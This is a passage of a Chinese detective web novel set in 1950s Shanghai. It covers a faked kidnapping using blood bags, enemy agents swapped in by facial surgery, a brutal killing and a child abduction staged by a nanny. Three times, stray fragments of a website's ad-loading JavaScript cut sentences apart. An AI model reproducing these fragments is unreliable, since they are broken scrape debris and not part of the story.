有血液的地方在二楼，一上楼梯，二楼这里就是一个小客厅，能看到小客厅里有大片的血迹，在地上已经凝固干涸，但是可以看出一片片的确实很多，目测量绝对超过两千毫升，也就是说如果这么多血液是杨媛媛的，那么杨媛媛就绝对没有可能存活。 不过看着现场顾昭蕙觉得事情恐怕不那么简单。 之前从照片上看来并不明显，但是到这里看到这大面积血液就发现，血液分布的有些凌乱，“血液检查过了吗？” “检查过了，跟杨媛媛同一血型。而且那边发现杨媛媛的指纹。” 顾昭蕙看着发现地面有一行爬行的痕迹，有几个血手印十分明显的在地面上。 她绕着现场走了几圈，然后拿着相机在几处血液位置照了几张相。 “这血液分布有点奇怪。”齐云松蹲在那里看着现场说道，经过一段时间学习，他也能看出一些东西了。 顾昭蕙点点头，她心里是有些想法的。 将一些照片照下来后，她在小楼里走了一圈，“有丢失财物吗？”顾昭蕙站在卧室门口说道。 “有，一些衣物珠宝首饰还有保险柜里的一些金条都不见了。”杨智勇说道“因为是杨媛媛私产，杨先生都不知道具体数目。” 顾昭蕙点点头从楼上下来，看了客厅厨房，“咦，这是冰箱吗？”顾昭蕙看到了一个这年代绝对稀少的东西。 “是的，听说是杨老板特意从英国进口的一台冰箱。”王海勇当初看到的时候都特别吃惊。这东西绝对稀少。 顾昭蕙看了一下就是那种复古的冰箱，不过现在不能说是复古，现在绝对是最流行的。拉着门把手将冰箱打开，她看到里边放着一些水果，不过都是放在上面，下边有一层空位并没有放东西。她蹲下身仔细看看，照了两张照片。 “冰箱里没有人动吧？”她问。 “没有人动。” “你怎么看？”齐云松看她又走到楼上，忍不住问。 “看起来是一场精心策划的‘谋杀案’”顾昭蕙看着血迹说道。 齐云松点点头“跟我想法一样。” “从现场血液看来，这几个地方是泼洒痕迹，就像是拿着一个水盆将血液泼出去，不是喷溅血液，这些痕迹看不出来是那一种凶器刺伤后流血痕迹。无论是刺伤，割伤或是动脉划伤，血液的痕迹都与现场的痕迹不相同。所以有理由怀疑，这些痕迹是后期制造的。”齐云松指着黑板上的几张照片，让大家看清细节，“还有这个地方，血液有提前凝固的痕迹，说明血液落地前就已经凝固了。人体内的血液是活血，不会造成这样的痕迹。更说明了，这些血液不是从人体内流出来的。” “只这两项就能说明，现场是伪造的。”齐云松说道。 “这样说来杨媛媛没有死？”王海勇坐正身体说道。 “这个是我说的第二点。”齐云松摇了摇头，他从档案袋里拿出一沓照片，找出几张贴在黑板上，“这里是杨媛媛家里的冰箱，下边这一格是空的，里边还有一点痕迹能看出这里放着一些袋子。在这个地方发现一滴血迹，所以很有可能这里放着的就是血袋。已经用医院的血袋做了对比，痕迹完全可以吻合。” 齐云松拿出一个医院血袋作为示例。 接着又拿出了几张照片，“现场发现杨媛媛的财物损失了许多，保险柜上虽然有撬过的痕迹，但是经过检查，可以发现保险柜是用密码打开的，屋子里除了那些财物，还有一些衣服失踪了。” “这个东西估价在三千以上。可是并没有被拿走。”齐云松说的是一个小的玉山子，就放在梳妆台旁边的一个小博古架上，如果说博古架上其他东西太大不好拿，这个玉山子很小巧，随手就能揣兜的。 “所以我怀疑杨媛媛是自己离开的，她伪造了现场。”齐云松说道。 王海勇张了张嘴，想要说些什么，但是看着黑板上那些照片，报告中那些分析。他发现自己还真没办法反驳。 “她这样做是为了什么呢？”王海勇最后憋出一句话。 顾昭蕙看着手上装在朔料袋里的纸鹤，这是从床头柜旁边的地上找到的，里边是一句诗词‘衣带渐宽终不悔为伊消得人憔悴’。 “问问杨先生，杨媛媛是否有个恋人。或许这场谋划跟爱情有关。”顾昭蕙说道，不过她又说到“速度要快。”已经过去一个星期了，或许杨媛媛危险了。希望她想法是错的。 有时候案件捋顺了，找到真相就容易的多，杨媛媛去年认识了一位‘文艺青年’，那人叫金明亮，两个人因为文学走到一起，杨媛媛与他很快坠入爱河，但是这段爱情让杨先生不喜，十分反对，甚至已经决定送女儿出国留学。 三个月前他女儿突然说与金明亮分手了，三个月后就发生了这样的案子。 王海勇找到杨媛媛的时候，她已经奄奄一息，她被关 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到地窖里已经六天了，甚至已经六天没有进食了。 金明亮是个无业游民，实际上杨先生已经调查过他，这人除了那张嘴一无是处，只不过他怕女儿受刺激没有说的那么清楚。金明亮盯上杨媛媛也是在杨媛媛搬到新家之后，金明亮有一次见到杨媛媛从家里出来，他发现杨媛媛是个千金小姐身价丰厚，就起了心思，将自己包装成文艺青年，接近杨媛媛，果然杨媛媛就上钩了，可惜他没想到杨先生将他查了个抵掉，甚至警告他，不要再出现，否则就不客气了。 自此他换了策略，偷偷与杨媛媛交往，每天抄情诗折纸鹤，杨媛媛对他更是言听计从，父亲更是成为棒打鸳鸯的恶人。 过了三个多月，他觉着差不多了，就给杨媛媛弄来与她同一血型的血袋，然后教她怎么做，可以伪装成绑架。还让杨媛媛将家里财物带出来，伪装成抢劫绑架。 杨媛媛完全没有想到别的，按照他的计划，伪造现场，带着家里财物投奔情郎。不想这就羊入虎口了。 金明亮根本没想让她活，将人弄到地窖就不再管了，金明亮家里比较偏僻，地窖就在屋子下边，老地窖挖的深，杨媛媛怎么喊叫也没有人听到，也幸亏这阵子下雨量多，杨媛媛靠着地窖渗入的雨水活了下来。 不过人送到医院能不能脱离危险就不知道了，身体多器官衰竭，这年代的医疗水平，只希望她求生意志强一些。 杨先生知道女儿的案子具体情况后，十分后悔，之前发现金明亮的问题，他果断解决，并没有跟女儿详细说明，也是觉着不想让女儿伤心。毕竟喜欢一个人竟然那么不堪，谁想就是他的这种保护心态，让女儿根本无法理解。造成了悲剧。 这案子不难，关键是现场痕迹分析。齐云松将照片洗了一批，准备做一个经典案例，毕竟用血液伪造现场的案子，还是很少的。这个就很典型。这个案子的现场勘查，因为现场那么多血液造成的视觉冲击，先入为主认为受害人失血过多。他们关注点全都在受害人是否死亡这方面了，反而忽略了血液痕迹是怎么造成的。 王海勇带人去抓嫌犯，解救杨媛媛，顾昭蕙已经开始看起了档案，市局的人事档案，通过保密途径已经送了过来，顾昭蕙从里面寻找赵庆远的痕迹。 知道人长成什么模样，很快就找到了那份档案。 ‘王宏强，男，32岁，沪市公安局治安科，副科长。’ 照片上的人与她看到的那个人几乎一模一样。 但是在顾昭蕙大脑里，这就是两个人，赵庆远微调了面容。 仔细看过档案，在三月份的时候王宏强，在一次行动中受伤腿骨骨折在医院里住了两个星期，在家里又修养两个星期，一个月后后才上班。 所以这个王宏强是被顶替了。 102. 第 102 章 第一百零一章 “手法应该跟之前那个医生用的手法一样。”顾昭蕙对比着两张照片。 齐云松看了看，实在看不出来，“太像了。” “用的是微调，眉骨下颚骨都进行过削骨，眼角也开过，王宏强的眼睛比他大一些。”顾昭蕙说着倒是有些感觉，这个人的手法到有点几十年后微调美容有点相似，但是这人手法不是简单的整容，“这人很厉害，选择相似的人，然后进行微调，恢复时间也就半个月甚至更少。他们肯定不是一个两个人，挑选目标，调查背景，如果想要快速的替换目标，肯定有人给他收集资料，长时间的监视。”顾昭蕙说道。 “那么这个计划在赵庆远从京城逃离后，来到这里就开始进行了。”齐云松摸了摸下巴说道。 “是的。”顾昭蕙眉头紧皱“我现在觉着事情有些麻烦了。你说只有他这一例吗？咱们最开始发现使用这个办法的人在京城，但是只有当初那几个人，都是四九年前出现的，可是现在这边出现了，或许这人在四九年后就来到这边了。” “你说有多少人被替换了？”齐云松觉着这就是一张大网，这些人谋划绝对不是一天两天的。赵庆远从京城逃离，到这里这么短的时间他们就让他将另外一个人替换，这背后显现出的东西太不寻常。 “先把市局内部清理一下，赵庆远能这么顺利进入市局，市局内肯定有接应，就算没有市局也要进行一下排查，总不能咱们在前边做事他们在后边捅刀子。”顾昭蕙一遍翻看资料一边说。 “从那里开始查？”齐云松说道。 “先看档案。”顾昭蕙想了想她的优势。“看人看档案。”虽然这种办法属于大海捞针，但是对她来说确实最简单的。 “行，那咱们就先查市局档案。”齐云松也没有过多考虑，顾昭蕙负责办案子，其他协调的事情就是他的了。 齐云松先跟市局通了气，正好到了周末，他们先进行了一些列的安排，星期一，市局举行了表彰大会，对于这次羊角锤杀人案进行了表彰，因为当时全局人都出动，几乎人人都有嘉奖，虽然有的只是口头上的，但是对大家也是一件高兴的事。 这次大会几乎没有人落下，顾昭蕙三人虽然是外来人员，但是这次市局给了一个工作交流的借口，将他们借调半年。其实这就是他们市局几个领导硬赖来的，名义上是为了办案实际上就想先把人借过来，之后再说。 趁着今天的表彰大会，顾昭蕙将局里的人都看了一遍，将他们的体貌特征，步行姿态全都记录下来，就是有一些没有过来的找时间都去认了一下。 她还遇到赵庆远，但是并没有表现出什么，赵庆远似乎特意到她身边转又一圈，估计是想确认她是否能认出来。 “他还挺自信。”顾昭蕙小声的跟齐云松嘀咕。 “当然自信，这种微调技术在这个年代已经是很厉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 害了。听说国外有那种整容技术，弄好了就跟换了个人似的，但是那种整容并不能完全替代一个人，我之前问了一些专家，其中一位中医大师说，这种技术在中医中也是有的，利用针灸将面容上的肌肉进行调整，是能将一个人的面貌进行变化的。削骨也是可行的，但是想要短期内就恢复，肯定有中医调理。不过这种技术现在会的人不多了。” 顾昭蕙点点头，“我看从中医这方面也可以查一查，现在中医都是家族师徒传承，想要查也是有迹可循，另外就是这人还应该有一定的西医技术，所以从这两方面查应该能有些线索。”这年代人中西医分的很清楚，中医家族传承，西医外来技术，两者兼顾的很少。 “这是个思路。”齐云松说道。 大会结束后，顾昭蕙就去了档案室，她先将局里人员档案看了一下，“还真有。”顾昭蕙将三份档案拿了出来，“这三人的样貌身高等地方与显示不符。”顾昭蕙说着，将档案上的几处信息画了出来，“这个时间线应该就是替换时间，另外就是这个人。”她又拿出一个照片，“这个人应该有些问题，包括赵庆远替换的那人，四个人的档案他都经手过。”这个人就是档案室的。 齐云松看了看档案，然后抬头看了一眼，幸亏今天过来的时候只说看一下旧档案“别的还有问题吗？” 顾昭蕙摇了摇头，“其它的看不出来了。不过你想市局都有这么几个，那其它地方呢？” 103. 第 103 章 第一百零三章 “那个人代号叫医生，我见过他但是他一直带着口罩，我也不是很清楚他的样子。”林杰一脸颓废的说。 “他给你们做手术的地方在哪里？”齐云松问。 林杰摇了摇头“我不知道，我去的时候是被蒙着眼睛。坐着汽车，车开了很长时间。不过我觉着应该离海不远，住院的时候我是在一个地下室，不能接触外面，但是地下室有个小窗户，从窗户那边能闻到一股海风的味道。” 顾昭蕙皱了皱眉头，他说的海边并不能作为参考，沪市这边很多地方都离海很近，估计靠海的医院，也有几个。 “你的上级让你进入市局，还有什么任务吗？” 林杰摇了摇头，“我是去年才顶替林杰的，我现在的任务就是扮演好林杰，不让人产生怀疑，我原来的上级在我进医院后，就没有跟我联系了，之后一直用信箱联系，每个星期接收一次信息，不过这一年多，都是静默。没有任务交代。” 两个人出了审讯室，看着口供，确定了市局里有几名被替换的人员，他们没有打草惊蛇，而是等了几日将这个叫林杰的人通过派遣工作的手段将人调走，然后秘密逮捕。 审讯结果不怎么理想，这个叫方强的人，是去年年初的时候替换了林杰，他原来军统人员，一直潜伏，之后就接到上级的命令，但是他替换人员后，只是例行报告一些市局动态，但是那些报告没有特别重要的。他基本处于静默状态。 “不过你发现没有，这个方强从动手术，到替换林杰，光准备工作就做了半年多，之后更是通过一些手段，调到外地一段时间，然后才完成了替换，而赵庆远，从京城离开，到沪市之后到替换人员，整个过程都不到两个月，那是为什么呢？”顾昭蕙疑惑的说道。 齐云松摸了摸下巴的胡须“你说的对，是不是赵庆远有什么重要的工作？” 摇了摇头“他替换的人就是一个普通的公安，并没有重要身份，也接触不到太机密的事情，而且问过局里的人，赵庆远工作的这段时间很正常，一点也没有出格的事情。” 顾昭蕙将档案存起来，起身倒了杯水，窗外突然传来雨声，“这边的雨可真多。” 齐云松一直沉默着听了她说的话，往外看了看，不一会“你说赵庆远，是不是就是用这个办法来隐藏自己，之前他在京城，那边让他做事给他的条件是撤出去，可是最后事情搞砸了，他人也回不去了，这边还一直被咱们的人盯着，你说他是不是就想用这个办法隐藏起来？” 顾昭蕙听了眼睛一亮，大脑在快速运作，“你说的有道理，如果是这样的话，他的替换潜伏就不是上边给的任务，是他自作主张，那么他来沪市是不是也是他自己的意思，那么他认识那个医生。” “对。”顾昭蕙忍不住站起身，在屋子里来回走动，越想觉得越对，“赵庆远绝对认识那个医生。他来到沪市的目标十分明确，这里也是他留下的退路。” 齐云松说道“走，抓捕赵庆远。” 顾昭蕙想了想，也同意了抓捕，之前她想的是留着赵庆远钓大鱼，但是现在更重要的是抓住医生，就林杰知道，当时年在地下室就有七八个病房，通过整容替代人员潜伏，这样的事情，不是一两个人的事，这些人潜伏后，一直没有具体任务，他们所图甚大。像是林杰这样的人，已经一年了但是没有人发现他的问题。想想就让人不寒而栗。 现在已经晚上七点了，他们也不等明日了，直接让刑侦大队队长，杨智勇带队，直接到他家里抓捕。 上次杨智勇抓捕的时候造成失误，幸亏顾昭蕙和齐云松他们帮忙，所以对他们两人杨智勇是非常感谢的，更何况上面已经说了，要配合他们的工作。 所以接到召唤，直接摇人出动。 赵庆远家离市局不远，骑着自行车就十分钟，是个石库门的东厢房，据说他家里是个地道的沪市人，原本整个院子是他家祖宅，后来老人去世后，几个兄弟分了房子，有的将屋子卖给别人，只剩下赵庆远还住在这里。 等到了院子外面，才发现这处宅子保存的还挺好的，这个年代还能见到许多这样的屋子，再过几十年，这房子也看不到几处了。 不过如果他几个兄弟没将房子卖掉，特务也不会盯上他，毕竟这几个被替换的人都是单身身边没有亲人。 院门是开着的，齐云松和张燕山，手上拿着木仓，小心的走到东厢房门口，屋子里没有动静，齐云松抬起手敲了敲门，屋子里静悄悄的没有任何回声。 “你们找强子啊？”一个声音突兀的响起，让院子里的几个人一激灵。回头一看是个老太太。 “啊，我们是他的同事。”杨智勇回道。 “强子在家，你们再敲敲门，他今个回来了，一直没出屋。”老太太提着篮子往外走。 齐云松听了眉头紧皱，心里觉着不好，抬起脚就将门踹开了。 那动作给老太太吓了一跳，结果没等她说什么，就看到屋子正堂椅子上，赵庆远斜躺在椅子上，一道刀口从脖颈处一直划拉到下腹，肚子里的内脏都翻了出来，老太太吓得一个白眼就倒下了。顾昭蕙下意识的将人接住。 齐云松拦住想要近前查看的杨智勇“等等。” 顾昭蕙将老太太交给一旁的一名队员“封锁现场。外围隔离。”这不是一个正常的杀人现场，尽管离得远，但是她还是看到了现场的情况。 走到门口，从兜里拿出鞋套穿上，然后再带上手套，没进屋现在门口看了一下，门上门栓是插上的。已经踹断了。 地面上有脚印，“雨鞋四十二码。”顾昭蕙仔细看了看鞋印，不过她抬头看了一眼赵庆远的脚，发现这个脚印不是凶手的。 她细致的观察地面，然后看到一个痕迹，皱了皱眉头，从包里拿出一个粉笔，将比较清晰地两个痕迹，画了几个圈。 她小心的在那个痕迹前踩了两脚，齐云松正好走过来拍照，看到她走开，疑惑的说“凶手也穿鞋套？” 顾昭蕙点了点头，“应该是这样的。”但是鞋套这个东西，说实话她并没有看别人用过。 小心来到尸体旁边，先是仔细看了看这人的脸，能看出眼角有细微痕迹，是经过手术的赵庆远。他身上还穿着工作服，凶手的动作又快又狠，刀子也锋利，一刀从胸腔划下直接拉到腹腔。 她皱了皱眉头发现这刀子真的很锋利，插得也深，肝脏胃肺部全都破裂，看地面有一摊血迹，喷溅血迹，瞬间失血让赵庆远，几乎没有太大反应就休克死亡了。 地面还有滴落血迹，凶手身上穿着雨衣一类的衣物，血迹喷溅上去之后，从上面滑落。 她还看到地面上的血迹，顺着血迹来到里屋，然后就看到窗户开着，窗户外边的雨搭下还有一些血迹。“人是从这里走的。” 不过知道人怎么离开的也没有用，因为下雨将所有痕迹都冲没了，那人身上穿着雨衣，经过雨水冲刷也没有什么痕迹了。 顾昭蕙和齐云松两个人在屋子里将现场检查了一遍，然后才让杨智勇等人进来，查看。 两个人从屋子走出来。来到院子外面，忍不住吸了几口气，实在是屋子里的气味有点不好闻。 “死亡时间一个小时左右。”顾昭蕙说道，“应该就是下班回家后的事情，来人认识，地上有些水滴，应该是雨衣留下的，他在那里站了一会，然后拿出刀子突然出击，凶器锋利赵庆远完全没准备。”赵庆远是个特务，还是个潜伏多年，有经验的特务，这样的人这么会没有防备，就那么让人给开膛破肚了。 “这人有点问题。”齐云松忍不住用手指了指脑袋，他看了现场之后就模拟了凶手的动作心理“明明用刀子割动脉更容易。”就像顾昭蕙看到的那样，赵庆远的防备心不重，他完全可以用更简单的办法。 顾昭蕙点点头，脑海中不断回想屋子里的线索，“熟人，特务。” “与咱们查的这个事情有关系吗？”齐云松问。 “不清楚。线索太少。这个人太复杂。”他们在京城的时候就发现这个赵庆远就很复杂，他连接的线太多了。 赵庆远的死让人措手不及，而且也不是那么好查，实际上就是顾昭蕙拥有很强的能力，案件也是没有进展，一个星期后，因为另一个案子的发生，他们不得不将注意力转移。 这天是周末，顾昭蕙那也没去，赵庆远的案子有点停滞不前，寻找医生也产生了困难，市局还有两个人，但是他们现在不能动，林杰在外地‘意外死亡’。这两个人只能用来‘钓鱼’。 因为要在沪市待上一段时间，张燕山回京城那边也缺少人手前两天，接到白蓉写的信件，将工作上的事情说了一下，虽然他们两个不在，但是组里的工作做的还是很好的，周柏作为临时组长，带领组内的新人，目前遇到几个案子，全都结案了。 得到这个消息，顾昭蕙还是很放心的，这边给她和齐云松安排了住的地方，从招待所搬到宿舍，就在市局后边的一处小红楼，除了不能自己做饭其他都挺好，每个月的补助也很多。 新宿舍是个小二楼，沪市这边的房子都带有阳台，大大的阳台，与房屋同宽，非常大，齐云松给她找了一个摇椅，放在阳台，再有太阳的时候，可以在阳台上晒太阳，齐云松的住处就在她旁边那间，阳台那里只有隔板挡着。 今天太阳很足，似乎梅雨天过去了，这几日难得好天气，顾昭蕙在躺椅上，一边晒太阳，一边脑海中回想赵庆远案子的资料。 齐云松手上拿着个小盆，盆子里放着青红的荔枝，“嘿，接着。” 顾昭蕙睁开眼睛，看了过去，有点惊讶的说“荔枝，从那里弄来的？”这可是好东西，在京城几乎买不到的。 “市场买的。我找到一处早市。那边水果挺多的。这边水果便宜。”他说的早市，其实就是这边的黑市，这一年对于市场管制严了起来，所以就有很多的‘早市’的诞生。 将盆子接过来，“你留了吗？” 齐云松变戏法似的从旁边拿了一盘子，“喏，吃吧，吃完了再买，这东西不能放。好不容易到这边待一段时间，这边水果多，还有不少好东西，我跟杨智勇说好了，让他有时间带我去买火腿，拿东西不怕坏，到时候给爸妈邮过去。” 顾昭蕙一边扒荔枝一边回道“你那边票够吗，我手上还有不少。”说着把荔枝放到嘴里，走到桌子边上，从抽屉里拿出个小钱包，扎着手走过去把钱包递过去。 齐云松从兜里拿出个手绢，一手接过钱包，一手把手绢递过去。“这荔枝水分很多，你扒的时候小点劲。你看我的。”说着手上灵巧的把荔枝皮拔掉，露出里边晶莹剔透的果肉，随手就递过去，顾昭蕙直接接了。 齐云松将小钱包打开，里边全是各种票，他翻看一下，将里边一些票水果票本地粮票，还有一些快到期的票都拿出来，剩下的放好，想了想也没还给她，随手揣在兜里，许是平常生活上他管着的多，顾昭蕙现在对生活上的事，不在意的很。 “想赵庆远的案子呢？”齐云松将荔枝核吐出去，看了一眼吃东西都有点溜号的顾昭蕙说道。 顾昭蕙点点头，“这个凶手是个杀手，他应该是个老手，赵庆远的一些事情咱们都查了，除去他变换身份的那个时间，他应该跟上边的人做了切割，所以我们根本查不出来什么，那为什么会杀他？我想来想去，或许这次的事情就是那个医生做的，不管是他亲自上手，就是他找的杀手。” 齐云松点点头，没说话，他也这么怀疑来着，但是这个医生真的很难查的。 顾昭蕙说道这里看向齐云松，一道墙隔着两间房，齐云松整个身子探出去大半，他本来就长得高，看起来就像挂在阳台上一样，有点滑稽，忍不住笑了一下，然后又正色道“我突然想起一件事情，之前林杰说，他在医院问道大海的味道。所以怀疑医院在大海旁边，但是沪市是个沿海城市，到处都是海，海边附近的医院全都过了一遍，也没有发现可疑的人，我想会不会是他弄错了。” “怎么说？”齐云松眉头皱皱，有点不舒服的将手上的盘子放到一边，然后一个跨步从阳台那边跨过来。 顾昭蕙瞥了他一眼，“大门也不是摆设。让人看到多不好。” 齐云松做了个夸张的表情，“你很在乎别人的看法吗？” 说完就拿了个凳子坐在小桌子的另一边“说说，有什么想法？” “我想说大海的味道是那种咸咸的味道，但实际上在沪上只要稍微靠向海边就会有那种味道，这种味道很淡，在沪上住的稍微长一点时间，那种味道就会忽略，可是让林杰那么肯定，你说会不会是鱼虾的腥味？或是加工干海鲜的味道？那些味道闻着会有咸咸的味道，也许会让人觉着是在大海旁边。而且林杰做手术前刚来沪上一个月，也许他弄错了。”这绝对是灵光一闪的想法，因为现在下边就有同志晒咸鱼，一排排的，有时候风吹过来，就带有一些鱼腥味和咸味，或许不熟悉的就将这种味道误以为是大海的味道。 齐云松也想到了他站起来趴在阳台上，看着下面，下面两棵树中间绑了个绳子，上边挂着一条条半干的咸鱼，这几天天气好，院子里就有晾晒的，他们俩开始还不适应，顾昭蕙难得的跟他抱怨了一句。 “有些道理，只是林杰已经送走了，想要确定有点麻烦，明天我给局里打个电话，看看能不能问出点什么，实在不行，把人悄悄弄回来问。” 俩人正说着话，“小齐，小顾——”陈生辉的喊声从楼下传来。 齐云松探出头去，“陈哥，这呢。”顾昭蕙也站起来走过去。 陈生辉对他俩挥了挥手“下来，这边来个案子。” 两个人点点头“来了。” “刚才有人报案，是个失踪案，孩子丢了。刚发生的，大队长已经过去了。”陈生辉骑着边三轮带着两人，扯着嗓子说道。 顾昭蕙坐在车兜里，说实话这速度坐的有点不舒服。 一会来到了案发现场，是个小洋楼，进了大门就是院子，院子里一边有石桌石凳，有两个女人坐在那边能看到商羽绮再做笔录。 三个人来到小洋楼的正门，就看到门口有两个人同志正在守门杨智勇正在里边看现场，也许是之前顾昭蕙勘探现 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 场给他的印象深刻，杨智勇，现在也是带着鞋套手套，在屋里小心翼翼的。 换了鞋套走进去，“怎么回事？杨队？” 杨智勇看了她一眼“你们俩过来了，来看看，孩子五岁了，男孩，在楼上睡觉，家里有保姆和孩子母亲，俩人在楼下做蛋糕，蛋糕做好后，孩子妈妈叫孩子起床，发现孩子不见了。” “他们家里就这两个人吗？几点报的案，孩子什么时候确定丢的？” “孩子父亲出差了，孩子是八点多发现丢的，俩人在院子里找了半个多小时，才报的警，正好在咱们辖区，来的时候我问过了两人了，他们家里的门窗都是关的很严的，两个人在楼下厨房，也没看到人上下楼，所有孩子丢失的很蹊跷。” 顾昭蕙点点头，看到厨房位置，就在楼梯下边，“最后见到孩子是什么时候？” “七点五十，家里保姆上楼看了看孩子还没醒，就下来了，然后十分钟后孩子母亲上去了，就发现孩子不见了。而且在七点四十的时候孩子母亲也看了一下，孩子还在。” 顾昭蕙蹲在地上，看着地面，这个地面是那种黑白瓷砖铺的，家里卫生做的好，但是能看到一些轻微脚印，仔细看看，除了大队长几个人带着鞋套的脚印，就剩下两排印记，看着是拖鞋的痕迹，上下楼痕迹。除此之外，楼梯上并没有其它痕迹。 顾昭蕙往楼上走，楼上左手边第二个房间就是孩子的房间，顾昭蕙在门口看了看，门把手上有指纹，她仔细分辨，指纹形状应该就是女人的形状。 进了屋子她发现屋子里铺着地毯，现在沪上还有很多这样的家庭，都是从民国就留下来的。 孩子小床靠着东墙，床上有被褥。屋子里有一个大衣柜，大衣柜被打开了里边衣服都有点凌乱。 “孩子母亲说他们在这里寻找过。除此之外每一间屋子都寻找过。” 顾昭蕙点点头，因为有地毯，没有脚印。屋子有一个大大的落地窗，是可以打开的，打开后里边就有一个大阳台，阳台是用那种青石铺的，这种地面除非有很多粉尘，不然很难找到脚印，但是她看到阳台的门是锁上的，也没有外力破坏的痕迹。 她走到阳台，看了看阳台下边，这是二楼，并不高。顾昭蕙走到左侧的阳台边缘，她仔细看了看阳台下边，仔细看了看对着齐云松摆了摆手，齐云松看了一眼，从旁边跨了出去，手抓着铁艺栏杆，凑近了看“是一些磨痕。好像是摩擦痕迹，没有附着物。”他单手拿着相机，照了一张相。 看了楼上的位置，除了儿童房还有两间卧室都经过检查，里边柜子都是打开的。 顾昭蕙下了楼，走出去，来到楼的后边，后边有草地树木，她看了看地面发现几行脚印，被人踩了的样子，不过都是女性脚印，然后还看到其中一组脚印已经到了围墙边上。 顾昭蕙看了看围墙，让齐云松从另外一边上去，“看看这个位置有没有痕迹？” 齐云松小心爬到墙上，一点点挪过去，“有半个脚印。” 顾昭蕙跑到齐云松那边，扒着围墙，齐云松伸手一抓，把她给拎了上去，顾昭蕙半个身子爬上墙头，侧头看着那个脚印“四十码到四十一码胶鞋。男性体重在六十五公斤到七十公斤，身高一米七三至一米七六。数据有点宽泛，拉我上去，我去墙那边看看。” 齐云松摇了摇头“甭看了，石子路，全是石子。”这样说着还是把顾昭蕙拉上去，让她看看清下边的情况，有踩压痕迹，但是根本无法分辨脚印。 摇了摇头，“先去问问两个当事人吧。” 齐云松抓着她的肩膀给她放到墙下，然后自己跳了下来。 来到前院，两个女人眼睛都是红红的，显然哭过了，尤其孩子母亲，脸色惨白，看起来人就要晕过去的样子。 “你们好，我有几个问题想问问你们。”顾昭蕙看了看两个人。 孩子母亲木然的点点头。 “你是最先发现孩子不见的是吗？”顾昭蕙问孩子母亲。 孩子母亲点点头“豆豆，每天都是七点半起床，昨天晚上他有点兴奋，睡得晚，早上就没有起来，他昨天睡前心心念着吃蛋糕，所以我在蛋糕做好的时候去叫他起床，然后人就不见了。” “你进屋子里的时候发现阳台的门是开着的还是关着的？” 女人想了想“关着的。我发现豆豆不见，还看了一眼，门确实是关着的。” “发现孩子不见你们就开始寻找是吗？你们两个是一起找还是分头找？” “我们是分头找的。” “那你们去了后边院子寻找吗？”顾昭蕙问。 女人点点头，“去了的，不过我不觉着孩子会在后院，是小梅先去找的，后院门有两个一个在客厅那里，一个在厨房那边，厨房和客厅的后院门我在做蛋糕的时候都能看到，如果有人进出我肯定知道的。小梅去后院的时候我去楼下杂物房寻找，我记得大门也是关着的。先生不在家，我每天晚上睡觉的时候都会检查门窗，今天一早还没有打开过。” 顾昭蕙点点头，然后看向那个叫小梅的女人，这女人二十多岁，梳着妇人的头发，看起来很朴素这会眼圈红红的，看起来十分担心的样子，手还不自觉的缠着衣角。 顾昭蕙盯着看了她看了一会，也许她的凝视让在场的众人都觉着有点问题，大家都看向小梅，那个小梅整个人脸都是僵硬的。 “小梅，你将孩子带出去，你能告诉我那个人把孩子带到哪里去了吗？”这一句问话，把在场的众人吓了一跳。 孩子妈妈一激灵，“怎么会？她一直跟在我身边啊。而且孩子失踪前也一直跟着我？小梅怎么会跟这个事情有关系。” 顾昭蕙瞥了她一眼，然后看向小梅“她确实跟你在一起，但是她也是在你的眼皮子底下将孩子送了出去。” 小梅抬头看着她，嘴里说着“我没有，我一直跟着太太，怎么可能把人送出去。” “你们是不是为了今天策划了很多次吧，你最后一次见到孩子是七点四十，她是七点五十，实际上七点五十分她已经将孩子送到了楼下。孩子不重，你用孩子的床单将孩子绑好，然后兜着送到楼下。”顾昭蕙说着拿起齐云松拿过来的几个床单，将床单打开，一共四个床单，几个角都有褶皱。 “这些褶皱就是将床单系在一起的时候弄的，你为了不让人发现凌乱的床单，所以将柜子里的衣服都弄乱了，实际上那个衣柜打开后很明显就能看到里边是不是藏了孩子，根本不需要将里边翻的论七八糟的。” “其它屋子也被翻找过，但是那些柜子只是打开柜门或是大抽屉，装不下孩子的地方根本没有乱。” “你将孩子送到楼下，然后锁上阳台门，之后趁着到后院寻找孩子的时候，你将孩子送到了那个人的手上，然后继续在花园里寻找，孩子妈妈过一会也出来了，我看过脚印，墙边那个踩痕就是你的脚印，你的脚印要大两个码。” 顾昭蕙说着看了她的脚一眼，她们两个穿的都是家居的布鞋，只要对比就会知道那个痕迹是谁的。 “说说吧，这么做是为了什么？” 104. 第 104 章 第一百零四章 “是你？为什么？”孩子妈妈有些惊讶的看着保姆说道。 保姆小梅捏着拳头低着头，听到问话身体抖动一下，没有说话。 顾昭蕙看着小梅，看她的样子，脑海中突然出现两个影响，慢慢的两个影像突然重叠了，“你是孩子的母亲？” 保姆小梅突然一惊，接着十分惶恐的看着顾昭蕙，过了一会突然说道“你怎么吃到的？” 顾昭蕙看着脑海中两张照片，孩子的和母亲的，两个人有七分相像。反而是一边的孩子妈妈与孩子没有相似的地方。 “什么你是豆豆的妈妈？豆豆妈妈不是死了吗？”太太震惊的看着小梅。 小梅看着女人刻苦笑着说“我这样的身份，怎么配得上少爷。当年我和少爷相好，家里夫人不同意，我就离开了。”小梅说道这里眼睛有些飘忽似乎回到那个时候。 “我回到家后发现自己有了孩子，是少爷的，那时候月份大了，孩子生下来后，我就找到了少爷，只是当时少爷家里要离开沪市。当时船票都好了，他们，他们带走了孩子，我留了下来。”小梅说着脸上露着绝望的神情。 “我以为我这辈子都见不到孩子了。但是我到城里找工作，发现少爷竟然回来了，他还娶了妻子，我的儿子叫那个女人妈妈。”小梅说着扭头看向太太。 那个女人瞠目结舌，张了张嘴看着小梅说不出话，似乎被这个信息打击到了，“我不知道，俊杰没有说过，他跟我说豆豆的母亲已经去世了。” 顾昭蕙眯了眯眼睛，看向小梅“你在他们家做保姆，男主人不认识你吗？” 小梅摇了摇头“他知道的，我第一天过来他就知道，不过我说在乡下待不下去了，他就同意了。” 齐云松小心的凑到顾昭蕙耳边，小声说道“这个男人有些问题。” 顾昭蕙点点头，“那说说吧为什么带走孩子，孩子在那里？” 